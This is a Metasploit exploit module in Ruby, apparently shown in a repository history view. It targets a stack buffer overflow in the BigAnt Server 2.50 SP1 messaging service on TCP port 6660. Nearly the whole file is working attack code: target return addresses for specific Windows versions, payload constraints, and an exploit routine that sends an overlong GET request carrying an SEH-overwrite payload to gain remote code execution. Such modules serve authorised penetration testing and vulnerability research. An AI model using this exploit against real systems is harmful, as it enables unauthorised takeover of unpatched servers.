metasploit-framework/modules/exploits/windows/misc/bigant_server_250.rb

75 lines
2.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'BigAnt Server 2.50 SP1 Buffer Overflow',
'Description' => %q{
This exploits a stack buffer overflow in the BigAnt Messaging Service,
part of the BigAnt Server product suite. This module was tested
successfully against version 2.50 SP1.
},
'Author' => [ 'Dr_IDE <Dr_IDE[at]hushmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
# It's not clear if these are correct - there was a fix for
# the v2.2 vuln back in Dec 2008
[ 'CVE', '2008-1914'],
[ 'OSVDB', '44454'],
[ 'EDB', '9673' ],
[ 'EDB', '9690' ]
#[ 'B_ID', '28795' ],
#[ 'U_RL', 'http://www.milw0rm.com/exploits/5451'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 710,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'BigAnt 2.5 Universal', { 'Ret' => 0x0f9a196a } ], # Tested OK (Dr_IDE & patrickw) p/p/r VBAJET32.dll xpsp3 & w2k
[ 'Windows 2000 Pro All English', { 'Ret' => 0x75022ac4 } ], # p/p/r Tested OK (patrickw 20090918)
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # Should Work
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 15 2008'))
2013-08-30 21:28:54 +00:00
register_options([Opt::RPORT(6660)], self.class)
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
sploit = "GET " + rand_text_alpha_upper(985) + generate_seh_payload(target.ret)
sploit << rand_text_alpha_upper(1000 - payload.encoded.length)
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
sock.put(sploit + "\r\n\r\n")
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end